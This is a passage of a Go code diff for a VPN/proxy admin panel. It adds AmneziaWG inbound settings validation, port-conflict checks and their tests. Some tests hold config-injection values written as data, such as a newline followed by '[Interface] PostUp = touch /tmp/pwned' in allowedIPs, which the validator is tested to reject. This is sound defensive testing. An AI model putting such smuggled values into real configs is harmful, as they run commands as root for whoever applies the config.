+ conflict, cErr := checkAmneziawgnetSocksReverseConflict(tx, inbound.Id)
+ if cErr != nil {
+ return cErr
+ }
+ if conflict != nil {
+ return common.NewError(conflict.String())
+ }
+ }
// Emails seeded here (import's ClientStats, e.g. the controller's forced
// Enable=true on every imported stat row) are authoritative for this call
// and must not be clobbered by the AddClientStat loop below, which derives
@@ -1425,6 +1473,9 @@ func (s *InboundService) UpdateInbound(inbound *model.Inbound) (*model.Inbound,
return inbound, false, err
}
s.normalizeMtprotoSecret(inbound)
+ if err := s.normalizeAmneziaWGSettings(inbound); err != nil {
+ return inbound, false, err
+ }
inbound.SubSortIndex = normalizeSubSortIndex(inbound.SubSortIndex)
clients, err := s.GetClients(inbound)
@@ -1446,6 +1497,9 @@ func (s *InboundService) UpdateInbound(inbound *model.Inbound) (*model.Inbound,
// Restore the stored NodeID before the port-conflict check so a node inbound
// stays scoped to its own node (the payload's nodeId is unreliable, often absent).
inbound.NodeID = oldInbound.NodeID
+ if inbound.NodeID != nil && !isNodeEligibleProtocol(inbound.Protocol) {
+ return inbound, false, common.NewErrorf("%s inbounds cannot be assigned to a node", inbound.Protocol)
+ }
// Capture the pre-edit protocol and routing state before oldInbound is
// overwritten with the new values further down, then ensure a routed
diff --git a/internal/web/service/inbound_amneziawg.go b/internal/web/service/inbound_amneziawg.go
new file mode 100644
index 000000000..a829e60c9
--- /dev/null
+++ b/internal/web/service/inbound_amneziawg.go
@@ -0,0 +1,369 @@
+package service
+
+import (
+ "context"
+ "encoding/json"
+ "fmt"
+ "strings"
+
+ "gorm.io/gorm"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
+ "github.com/mhsanaei/3x-ui/v3/internal/database"
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+ wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+ "github.com/mhsanaei/3x-ui/v3/internal/xray"
+)
+
+// DesiredAmneziaWGInstances derives the AmneziaWG interfaces this panel
+// should be running: one instance per enabled local AmneziaWG inbound,
+// serving only the peers of clients that are both enabled in the inbound
+// settings and not depletion-disabled in client_traffics. That is the same
+// effective peer set buildInboundForLocalRuntime pushes on interactive edits,
+// so the reconcile job and the push path agree on one fingerprint — see
+// DesiredMtprotoInstances, which this mirrors exactly.
+func (s *InboundService) DesiredAmneziaWGInstances() ([]amneziawg.Instance, error) {
+ db := database.GetDB()
+ var inbounds []*model.Inbound
+ err := db.Model(model.Inbound{}).
+ Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true).
+ Find(&inbounds).Error
+ if err != nil {
+ return nil, err
+ }
+ if len(inbounds) == 0 {
+ return nil, nil
+ }
+
+ ids := make([]int, 0, len(inbounds))
+ for _, ib := range inbounds {
+ ids = append(ids, ib.Id)
+ }
+ var disabledRows []xray.ClientTraffic
+ err = db.Model(xray.ClientTraffic{}).
+ Where("inbound_id IN ? AND enable = ?", ids, false).
+ Select("inbound_id", "email").
+ Find(&disabledRows).Error
+ if err != nil {
+ return nil, err
+ }
+ disabled := make(map[int]map[string]struct{}, len(disabledRows))
+ for _, row := range disabledRows {
+ if disabled[row.InboundId] == nil {
+ disabled[row.InboundId] = map[string]struct{}{}
+ }
+ disabled[row.InboundId][row.Email] = struct{}{}
+ }
+
+ instances := make([]amneziawg.Instance, 0, len(inbounds))
+ for _, ib := range inbounds {
+ inst, ok := amneziawg.InstanceFromInbound(ib)
+ if !ok {
+ continue
+ }
+ if off := disabled[ib.Id]; len(off) > 0 {
+ kept := make([]amneziawg.Peer, 0, len(inst.Peers))
+ for _, p := range inst.Peers {
+ if _, skip := off[p.Email]; !skip {
+ kept = append(kept, p)
+ }
+ }
+ inst.Peers = kept
+ }
+ if len(inst.Peers) == 0 {
+ continue
+ }
+ instances = append(instances, inst)
+ }
+ return instances, nil
+}
+
+// applyLocalAmneziaWG pushes a single local AmneziaWG inbound's current peer
+// set to its interface right after a client edit commits, so an add,
+// removal, re-key or enable-toggle takes effect immediately instead of
+// waiting up to 10s for the reconcile job. It re-reads the inbound so it sees
+// the committed settings, filters depleted clients exactly like the
+// reconcile job, and is a no-op for node-owned or non-AmneziaWG inbounds.
+// Failures are logged and swallowed: the reconcile job is the backstop.
+// Mirrors applyLocalMtproto.
+func (s *InboundService) applyLocalAmneziaWG(inboundId int) {
+ inbound, err := s.GetInbound(inboundId)
+ if err != nil || inbound == nil || inbound.Protocol != model.AmneziaWG || inbound.NodeID != nil {
+ return
+ }
+ rt, err := s.runtimeFor(inbound)
+ if err != nil {
+ return
+ }
+ payload := inbound
+ if inbound.Enable {
+ if built, bErr := s.buildInboundForLocalRuntime(database.GetDB(), inbound); bErr == nil {
+ payload = built
+ }
+ }
+ if err := rt.UpdateInbound(context.Background(), inbound, payload); err != nil {
+ logger.Debugf("amneziawg: immediate apply failed for inbound %d: %v", inboundId, err)
+ }
+}
+
+// defaultAmneziaWGServer builds a fresh server block: a random AmneziaWG 3.1
+// obfuscation set, the default tunnel subnet/DNS, and a freshly generated
+// keypair.
+func defaultAmneziaWGServer() (*amneziawg.ServerSettings, error) {
+ obf := amneziawg.GenerateObfuscation31()
+ server := &amneziawg.ServerSettings{
+ SubnetIP: "10.8.1.0",
+ SubnetCIDR: 24,
+ PrimaryDNS: "8.8.8.8",
+ SecondaryDNS: "8.8.4.4",
+ Jc: obf.Jc,
+ Jmin: obf.Jmin,
+ Jmax: obf.Jmax,
+ S1: obf.S1,
+ S2: obf.S2,
+ S3: obf.S3,
+ S4: obf.S4,
+ H1: obf.H1,
+ H2: obf.H2,
+ H3: obf.H3,
+ H4: obf.H4,
+ I1: obf.I1,
+
+ HeaderProtectionKey: obf.HeaderProtectionKey,
+ ContentPaddingAddition: obf.ContentPaddingAddition,
+ RekeyAfterTime: obf.RekeyAfterTime,
+ RekeyTimeout: obf.RekeyTimeout,
+ RejectAfterTime: obf.RejectAfterTime,
+ KeepaliveTimeout: obf.KeepaliveTimeout,
+ MaxHandshakeAttempts: obf.MaxHandshakeAttempts,
+ RandomTrailers: obf.RandomTrailers,
+ DisableCookies: obf.DisableCookies,
+ }
+ if err := fillAmneziaWGServerKeys(server); err != nil {
+ return nil, err
+ }
+ return server, nil
+}
+
+// fillAmneziaWGServerKeys generates a real WireGuard-compatible keypair for
+// the server block when one is missing.
+func fillAmneziaWGServerKeys(server *amneziawg.ServerSettings) error {
+ priv, pub, err := wgutil.GenerateWireguardKeypair()
+ if err != nil {
+ return fmt.Errorf("amneziawg: generate server keypair: %w", err)
+ }
+ server.PrivateKey = priv
+ server.PublicKey = pub
+ return nil
+}
+
+// normalizeAmneziaWGSettings ensures an AmneziaWG inbound's settings have a
+// valid server block, generating one (fresh obfuscation params + keypair) on
+// first save and validating a manually-edited one so a bad entry can't bring
+// the interface down on the next apply. A no-op for every other protocol.
+func (s *InboundService) normalizeAmneziaWGSettings(inbound *model.Inbound) error {
+ if inbound.Protocol != model.AmneziaWG {
+ return nil
+ }
+
+ trimmed := strings.TrimSpace(inbound.Settings)
+ if trimmed == "" || trimmed == "null" || trimmed == "{}" {
+ server, err := defaultAmneziaWGServer()
+ if err != nil {
+ return err
+ }
+ settings := amneziawg.InboundSettings{Server: server, Clients: []model.Client{}}
+ bs, err := json.MarshalIndent(settings, "", " ")
+ if err != nil {
+ return err
+ }
+ inbound.Settings = string(bs)
+ return nil
+ }
+
+ var parsed amneziawg.InboundSettings
+ if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil {
+ return fmt.Errorf("amneziawg: invalid settings: %w", err)
+ }
+ if parsed.Server == nil {
+ server, err := defaultAmneziaWGServer()
+ if err != nil {
+ return err
+ }
+ parsed.Server = server
+ } else if parsed.Server.PrivateKey == "" {
+ if err := fillAmneziaWGServerKeys(parsed.Server); err != nil {
+ return err
+ }
+ }
+ parsed.Server.HeaderProtectionKey = strings.TrimSpace(parsed.Server.HeaderProtectionKey)
+ for _, f := range []*string{
+ &parsed.Server.ContentPaddingAddition, &parsed.Server.RekeyAfterTime,
+ &parsed.Server.RekeyTimeout, &parsed.Server.RejectAfterTime,
+ &parsed.Server.KeepaliveTimeout, &parsed.Server.MaxHandshakeAttempts,
+ } {
+ *f = amneziawg.CanonicalizeUintRange(*f)
+ }
+ if err := amneziawg.ValidateObfuscation(parsed.Server.Obfuscation()); err != nil {
+ return fmt.Errorf("amneziawg: %w", err)
+ }
+ if err := amneziawg.ValidateIPv6Subnet(parsed.Server.IPv6Enabled, parsed.Server.IPv6Subnet); err != nil {
+ return fmt.Errorf("amneziawg: %w", err)
+ }
+ if err := amneziawg.ValidateSubnetIPv4(parsed.Server.SubnetIP, parsed.Server.SubnetCIDR); err != nil {
+ return fmt.Errorf("amneziawg: %w", err)
+ }
+ if err := amneziawg.ValidateInterfaceName(parsed.Server.ExternalInterface); err != nil {
+ return fmt.Errorf("amneziawg: externalInterface: %w", err)
+ }
+ if err := amneziawg.ValidateInterfaceName(parsed.Server.IPv6ExternalInterface); err != nil {
+ return fmt.Errorf("amneziawg: ipv6ExternalInterface: %w", err)
+ }
+ if err := amneziawg.ValidateConfigValue("privateKey", parsed.Server.PrivateKey); err != nil {
+ return fmt.Errorf("amneziawg: %w", err)
+ }
+ if err := amneziawg.ValidateConfigValue("publicKey", parsed.Server.PublicKey); err != nil {
+ return fmt.Errorf("amneziawg: %w", err)
+ }
+ signaturePackets := []struct{ field, v string }{
+ {"i1", parsed.Server.I1},
+ {"i2", parsed.Server.I2},
+ {"i3", parsed.Server.I3},
+ {"i4", parsed.Server.I4},
+ {"i5", parsed.Server.I5},
+ }
+ for _, sp := range signaturePackets {
+ if err := amneziawg.ValidateConfigValue(sp.field, sp.v); err != nil {
+ return fmt.Errorf("amneziawg: %w", err)
+ }
+ }
+
+ portCtx, err := s.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ return err
+ }
+ for i := range parsed.Clients {
+ c := &parsed.Clients[i]
+ if hit := s.checkForwardedPortsConflict(portCtx, c.ForwardedPorts); hit != "" {
+ return fmt.Errorf("amneziawg: client %q forwardedPorts collides with %s", c.Email, hit)
+ }
+ if err := amneziawg.ValidateConfigValue("email", c.Email); err != nil {
+ return fmt.Errorf("amneziawg: %w", err)
+ }
+ if err := amneziawg.ValidateConfigValue("publicKey", c.PublicKey); err != nil {
+ return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
+ }
+ if err := amneziawg.ValidateConfigValue("preSharedKey", c.PreSharedKey); err != nil {
+ return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
+ }
+ // AllowedIPs lands verbatim in a rendered [Peer] block, so a newline here
+ // re-opens an [Interface] section whose PostUp runs as root once the
+ // downloaded config is applied (client app, or awg-quick directly).
+ normalized, err := normalizeWireguardAllowedIPs(c.AllowedIPs)
+ if err != nil {
+ return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
+ }
+ c.AllowedIPs = normalized
+ }
+
+ bs, err := json.MarshalIndent(parsed, "", " ")
+ if err != nil {
+ return err
+ }
+ inbound.Settings = string(bs)
+ return nil
+}
+
+// portConflictContext caches the state checkForwardedPortsConflict needs —
+// the panel's own port and this host's enabled inbound ports — so validating
+// N clients in one save (normalizeAmneziaWGSettings, or a bulk client add)
+// costs one query total instead of N. Load it once with
+// loadPortConflictContext and pass it to every checkForwardedPortsConflict
+// call in that batch.
+type portConflictContext struct {
+ webPort int
+ inbounds []*model.Inbound
+}
+
+// loadPortConflictContext loads the panel's own port and every enabled
+// inbound hosted on THIS panel (node_id IS NULL) — an inbound hosted on a
+// different node listens on that node's own host, never this one, so it can
+// never collide with a DNAT rule this process installs.
+func (s *InboundService) loadPortConflictContext(db *gorm.DB) (portConflictContext, error) {
+ var ctx portConflictContext
+ if webPort, err := (&SettingService{}).GetPort(); err == nil {
+ ctx.webPort = webPort
+ }
+ err := db.Model(model.Inbound{}).
+ Where("enable = ? AND node_id IS NULL", true).
+ Find(&ctx.inbounds).Error
+ return ctx, err
+}
+
+// checkForwardedPortsConflict reports whether a client's ForwardedPorts spec
+// exceeds the cap, covers the panel's own web port, one of this host's own
+// enabled inbound listen ports, or an AmneziaWG inbound's own phantom SOCKS5
+// relay port (SOCKSPortForInbound -- never a real inbounds row, so the loop
+// below can't see it any other way). A collision on the SOCKS5 port would
+// let a port-forward listener race Xray's own relay for the bind and, if it
+// wins, take down that inbound's entire relay rather than just one forward.
+// Returns a human-readable description of the first collision found, or ""
+// when there is none.
+func (s *InboundService) checkForwardedPortsConflict(ctx portConflictContext, forwardedPorts string) string {
+ if forwardedPorts == "" {
+ return ""
+ }
+ if amneziawg.ExceedsForwardedPortsCap(forwardedPorts) {
+ return fmt.Sprintf("more than %d forwarded ports", amneziawg.MaxForwardedPorts)
+ }
+ if ctx.webPort > 0 && amneziawg.ForwardedPortsInclude(forwardedPorts, ctx.webPort) {
+ return fmt.Sprintf("the panel's own port (%d)", ctx.webPort)
+ }
+ for _, ib := range ctx.inbounds {
+ if amneziawg.ForwardedPortsInclude(forwardedPorts, ib.Port) {
+ name := ib.Remark
+ if name == "" {
+ name = ib.Tag
+ }
+ return fmt.Sprintf("inbound '%s' (#%d, port %d)", name, ib.Id, ib.Port)
+ }
+ if ib.Protocol != model.AmneziaWG {
+ continue
+ }
+ socksPort := amneziawgnet.SOCKSPortForInbound(ib.Id)
+ if amneziawg.ForwardedPortsInclude(forwardedPorts, socksPort) {
+ name := ib.Remark
+ if name == "" {
+ name = ib.Tag
+ }
+ return fmt.Sprintf("inbound '%s' (#%d)'s own SOCKS5 relay port (%d)", name, ib.Id, socksPort)
+ }
+ }
+ return ""
+}
+
+// GetAmneziaWGDiagnostics returns a live diagnostics snapshot for inbound
+// id: interface up/down, listen port, and per-client handshake/traffic
+// state, read entirely from data amneziawgnet.Manager already tracks --
+// gathering it can never itself change anything. Returns an error only
+// when id doesn't name an AmneziaWG inbound at all; an inbound that simply
+// isn't running right now (disabled, no enabled clients, or reconcile
+// hasn't caught up yet) comes back as amneziawgnet.Diagnostics{}
+// (Running=false), not an error, since that's a normal state an admin
+// might specifically be checking for.
+func (s *InboundService) GetAmneziaWGDiagnostics(id int) (amneziawgnet.Diagnostics, error) {
+ inbound, err := s.GetInbound(id)
+ if err != nil {
+ return amneziawgnet.Diagnostics{}, err
+ }
+ if inbound.Protocol != model.AmneziaWG {
+ return amneziawgnet.Diagnostics{}, fmt.Errorf("inbound %d is not an AmneziaWG inbound", id)
+ }
+ inst, ok := amneziawg.InstanceFromInbound(inbound)
+ if !ok {
+ return amneziawgnet.Diagnostics{}, nil
+ }
+ return amneziawgnet.Diagnose(inst.Id, inst.Peers), nil
+}
diff --git a/internal/web/service/inbound_amneziawg_test.go b/internal/web/service/inbound_amneziawg_test.go
new file mode 100644
index 000000000..f7c378d68
--- /dev/null
+++ b/internal/web/service/inbound_amneziawg_test.go
@@ -0,0 +1,386 @@
+package service
+
+import (
+ "encoding/base64"
+ "encoding/json"
+ "fmt"
+ "strings"
+ "testing"
+
+ "github.com/op/go-logging"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
+ "github.com/mhsanaei/3x-ui/v3/internal/database"
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+func TestCheckForwardedPortsConflict_EmptySpecNoConflict(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ if hit := svc.checkForwardedPortsConflict(ctx, ""); hit != "" {
+ t.Fatalf("an empty spec must never conflict; got hit=%q", hit)
+ }
+}
+
+func TestCheckForwardedPortsConflict_CollidesWithPanelPort(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ // getString falls back to defaultValueMap's "webPort": "2053" on a fresh
+ // DB with no explicit setting row.
+ hit := svc.checkForwardedPortsConflict(ctx, "2053")
+ if !strings.Contains(hit, "panel") {
+ t.Fatalf("expected a collision naming the panel's own port, got %q", hit)
+ }
+}
+
+func TestCheckForwardedPortsConflict_CollidesWithEnabledInboundPort(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`)
+
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ hit := svc.checkForwardedPortsConflict(ctx, "8075-8085")
+ if !strings.Contains(hit, "vless-8080") {
+ t.Fatalf("expected a collision naming the colliding inbound, got %q", hit)
+ }
+}
+
+func TestCheckForwardedPortsConflict_IgnoresDisabledInboundPort(t *testing.T) {
+ setupConflictDB(t)
+ disabled := &model.Inbound{Tag: "vless-8080-off", Enable: false, Listen: "0.0.0.0", Port: 8080, Protocol: model.VLESS, StreamSettings: `{"network":"tcp"}`}
+ if err := database.GetDB().Create(disabled).Error; err != nil {
+ t.Fatalf("seed disabled inbound: %v", err)
+ }
+
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" {
+ t.Fatalf("a disabled inbound's port must not be reserved; got hit=%q", hit)
+ }
+}
+
+func TestCheckForwardedPortsConflict_NoCollisionWhenPortsDontOverlap(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`)
+
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ if hit := svc.checkForwardedPortsConflict(ctx, "9075-9085"); hit != "" {
+ t.Fatalf("unrelated ports must not conflict; got hit=%q", hit)
+ }
+}
+
+// A port-forward spec matching a port used only by an inbound hosted on a
+// DIFFERENT node must not conflict: that inbound's DNAT/listen socket lives
+// on the node's own host, never on this panel's, so there is nothing here
+// for the forwarded port to actually collide with. Mirrors
+// TestCheckPortConflict_NodeScope's own reasoning for the general port-
+// conflict check.
+func TestCheckForwardedPortsConflict_IgnoresPortOnDifferentNode(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflictNode(t, "node1-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`, new(1))
+
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" {
+ t.Fatalf("a port used only on a different node must not conflict; got hit=%q", hit)
+ }
+}
+
+// inboundAmneziaWGServer is pure (no DB), so it needs neither setupConflictDB
+// nor CGO/sqlite -- it can run in any Go environment.
+func TestInboundAmneziaWGServer_RedactsPrivateKey(t *testing.T) {
+ settings := `{"server":{"privateKey":"super-secret","publicKey":"pub","mtu":1420,"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18="},"clients":[]}`
+ got := inboundAmneziaWGServer(string(model.AmneziaWG), settings)
+ if got == nil {
+ t.Fatal("expected a non-nil server block")
+ }
+ if got.PrivateKey != "" {
+ t.Fatalf("PrivateKey must be redacted, got %q", got.PrivateKey)
+ }
+ if got.PublicKey != "pub" || got.MTU != 1420 {
+ t.Fatalf("non-secret fields must still come through unchanged, got %+v", got)
+ }
+ // Unlike the private key, the header-protection key is shared with every
+ // client config, so the clients page must receive it.
+ if got.HeaderProtectionKey != "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=" {
+ t.Fatalf("HeaderProtectionKey must NOT be redacted, got %q", got.HeaderProtectionKey)
+ }
+}
+
+func TestNormalizeAmneziaWGSettings_GeneratesFull31Set(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ inbound := &model.Inbound{Protocol: model.AmneziaWG, Port: 51820, Settings: ""}
+ if err := svc.normalizeAmneziaWGSettings(inbound); err != nil {
+ t.Fatalf("normalize empty settings: %v", err)
+ }
+
+ var parsed amneziawg.InboundSettings
+ if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil || parsed.Server == nil {
+ t.Fatalf("normalized settings must carry a server block (err=%v): %s", err, inbound.Settings)
+ }
+ srv := parsed.Server
+
+ key, err := base64.StdEncoding.DecodeString(srv.HeaderProtectionKey)
+ if err != nil || len(key) != 32 {
+ t.Fatalf("headerProtectionKey = %q, must be base64 of 32 bytes (err=%v)", srv.HeaderProtectionKey, err)
+ }
+ for field, v := range map[string]string{
+ "contentPaddingAddition": srv.ContentPaddingAddition,
+ "rekeyAfterTime": srv.RekeyAfterTime,
+ "rekeyTimeout": srv.RekeyTimeout,
+ "rejectAfterTime": srv.RejectAfterTime,
+ "keepaliveTimeout": srv.KeepaliveTimeout,
+ "maxHandshakeAttempts": srv.MaxHandshakeAttempts,
+ "i1": srv.I1,
+ } {
+ if v == "" {
+ t.Errorf("fresh server block must fill %s", field)
+ }
+ }
+ if !srv.RandomTrailers || !srv.DisableCookies {
+ t.Errorf("fresh server block defaults RandomTrailers/DisableCookies on, got %v/%v", srv.RandomTrailers, srv.DisableCookies)
+ }
+ if srv.I2 != "" || srv.I3 != "" || srv.I4 != "" || srv.I5 != "" {
+ t.Errorf("generated sets must leave I2-I5 empty, got %q/%q/%q/%q", srv.I2, srv.I3, srv.I4, srv.I5)
+ }
+}
+
+func TestNormalizeAmneziaWGSettings_RejectsBad31Values(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ cases := []struct {
+ name string
+ snippet string
+ }{
+ {"bad headerProtectionKey", `"headerProtectionKey":"short"`},
+ {"zero rekeyTimeout", `"rekeyTimeout":"0"`},
+ {"rekey overlapping reject", `"rekeyAfterTime":"100-200","rejectAfterTime":"150-300"`},
+ {"control chars in i2", `"i2":"\nPostUp = evil"`},
+ {"line-wrapped headerProtectionKey", `"headerProtectionKey":"MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="`},
+ }
+ for _, c := range cases {
+ inbound := &model.Inbound{
+ Protocol: model.AmneziaWG,
+ Port: 51820,
+ Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24,` + c.snippet + `},"clients":[]}`,
+ }
+ if err := svc.normalizeAmneziaWGSettings(inbound); err == nil {
+ t.Errorf("%s must be rejected", c.name)
+ }
+ }
+}
+
+func TestNormalizeAmneziaWGSettings_CanonicalizesRangeValues(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ inbound := &model.Inbound{
+ Protocol: model.AmneziaWG,
+ Port: 51820,
+ Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24,` +
+ `"rekeyAfterTime":"110 - 140","rejectAfterTime":"190-250","keepaliveTimeout":" "},"clients":[]}`,
+ }
+ if err := svc.normalizeAmneziaWGSettings(inbound); err != nil {
+ t.Fatalf("normalize: %v", err)
+ }
+ var parsed amneziawg.InboundSettings
+ if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil || parsed.Server == nil {
+ t.Fatalf("re-parse normalized settings (err=%v): %s", err, inbound.Settings)
+ }
+ if parsed.Server.RekeyAfterTime != "110-140" {
+ t.Errorf("rekeyAfterTime = %q, want canonical \"110-140\"", parsed.Server.RekeyAfterTime)
+ }
+ // A whitespace-only value must collapse to "feature off", not be stored
+ // as a value the server emitter renders into an invalid blank line.
+ if parsed.Server.KeepaliveTimeout != "" {
+ t.Errorf("keepaliveTimeout = %q, want collapsed to empty", parsed.Server.KeepaliveTimeout)
+ }
+}
+
+func TestInboundAmneziaWGServer_NonAmneziaWGReturnsNil(t *testing.T) {
+ if got := inboundAmneziaWGServer(string(model.VLESS), `{"server":{"privateKey":"x"}}`); got != nil {
+ t.Fatalf("a non-AmneziaWG protocol must return nil, got %+v", got)
+ }
+}
+
+func TestInboundAmneziaWGServer_MissingServerBlockReturnsNil(t *testing.T) {
+ if got := inboundAmneziaWGServer(string(model.AmneziaWG), `{"clients":[]}`); got != nil {
+ t.Fatalf("settings with no server block must return nil, got %+v", got)
+ }
+}
+
+// A newline inside a client's allowedIPs used to reach the rendered .conf,
+// where a following "[Interface]\nPostUp = ..." runs as root the moment
+// whoever applies that config (client app, or awg-quick directly) does so.
+func TestNormalizeAmneziaWGSettings_RejectsInjectedClientAllowedIPs(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ inbound := &model.Inbound{
+ Protocol: model.AmneziaWG,
+ Port: 51820,
+ Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},` +
+ `"clients":[{"email":"a@x","enable":true,"publicKey":"pk",` +
+ `"allowedIPs":["10.8.1.2/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`,
+ }
+ err := svc.normalizeAmneziaWGSettings(inbound)
+ if err == nil {
+ t.Fatalf("an allowedIPs entry carrying a config-injection payload must be rejected; settings became:\n%s", inbound.Settings)
+ }
+ if !strings.Contains(err.Error(), "allowedIPs") {
+ t.Errorf("error should name the offending field, got %q", err)
+ }
+}
+
+func TestNormalizeAmneziaWGSettings_CanonicalizesClientAllowedIPs(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ inbound := &model.Inbound{
+ Protocol: model.AmneziaWG,
+ Port: 51820,
+ Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},` +
+ `"clients":[{"email":"a@x","enable":true,"publicKey":"pk","allowedIPs":[" 10.8.1.2 "]}]}`,
+ }
+ if err := svc.normalizeAmneziaWGSettings(inbound); err != nil {
+ t.Fatalf("normalize: %v", err)
+ }
+ var parsed amneziawg.InboundSettings
+ if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil {
+ t.Fatalf("re-parse normalized settings: %v", err)
+ }
+ if len(parsed.Clients) != 1 || len(parsed.Clients[0].AllowedIPs) != 1 || parsed.Clients[0].AllowedIPs[0] != "10.8.1.2/32" {
+ t.Fatalf("allowedIPs = %v, want [\"10.8.1.2/32\"]", parsed.Clients)
+ }
+}
+
+func TestGetAmneziaWGLogs_ClampsCountAndFiltersEvents(t *testing.T) {
+ logger.InitLogger(logging.DEBUG)
+ logger.Info("amneziawg: started interface awg1 for inbound 1")
+ logger.Info("xray: unrelated line that must never show up here")
+ logger.Warning("amneziawgnet: reconcile failed for inbound 2: handshake timeout")
+
+ svc := &ServerService{}
+ logs := svc.GetAmneziaWGLogs("not-a-number", "")
+ if logs == nil {
+ t.Fatal("GetAmneziaWGLogs must never return nil")
+ }
+ for _, line := range logs.Events {
+ if !strings.Contains(strings.ToLower(line), "amneziawg") {
+ t.Fatalf("non-AmneziaWG line leaked into the event list: %q", line)
+ }
+ }
+ if len(logs.Events) < 2 {
+ t.Fatalf("both AmneziaWG lines should be present, got %v", logs.Events)
+ }
+
+ // count caps the event list, so an operator asking for 1 gets 1.
+ if one := svc.GetAmneziaWGLogs("1", ""); len(one.Events) != 1 {
+ t.Fatalf("count=1 must cap the event list, got %d", len(one.Events))
+ }
+ // filter narrows further, case-insensitively.
+ filtered := svc.GetAmneziaWGLogs("100", "RECONCILE")
+ if len(filtered.Events) != 1 || !strings.Contains(filtered.Events[0], "reconcile") {
+ t.Fatalf("filter must narrow to the matching line, got %v", filtered.Events)
+ }
+}
+
+func TestCheckForwardedPortsConflict_RejectsSpecOverCap(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ spec := fmt.Sprintf("20000-%d", 20000+amneziawg.MaxForwardedPorts)
+ hit := svc.checkForwardedPortsConflict(ctx, spec)
+ if !strings.Contains(hit, fmt.Sprintf("%d", amneziawg.MaxForwardedPorts)) {
+ t.Fatalf("expected a collision naming the %d-port cap, got %q", amneziawg.MaxForwardedPorts, hit)
+ }
+}
+
+// A spec covering exactly MaxForwardedPorts ports is AT the cap, not over
+// it, and must be accepted -- ExpandForwardedPorts truncates there by
+// design, so a naive len(...) >= cap comparison can't tell the two apart.
+func TestCheckForwardedPortsConflict_AcceptsSpecExactlyAtCap(t *testing.T) {
+ setupConflictDB(t)
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ spec := fmt.Sprintf("20000-%d", 20000+amneziawg.MaxForwardedPorts-1)
+ if hit := svc.checkForwardedPortsConflict(ctx, spec); hit != "" {
+ t.Fatalf("a spec covering exactly %d ports must be accepted, got collision %q", amneziawg.MaxForwardedPorts, hit)
+ }
+}
+
+// The SOCKS5 relay port an enabled AmneziaWG inbound gets (SOCKSPortForInbound)
+// is a phantom, non-DB-row port -- ctx.inbounds alone can't see it, so
+// checkForwardedPortsConflict must check it explicitly.
+func TestCheckForwardedPortsConflict_CollidesWithAmneziawgnetSocksPort(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, `{}`)
+
+ var awgInbound model.Inbound
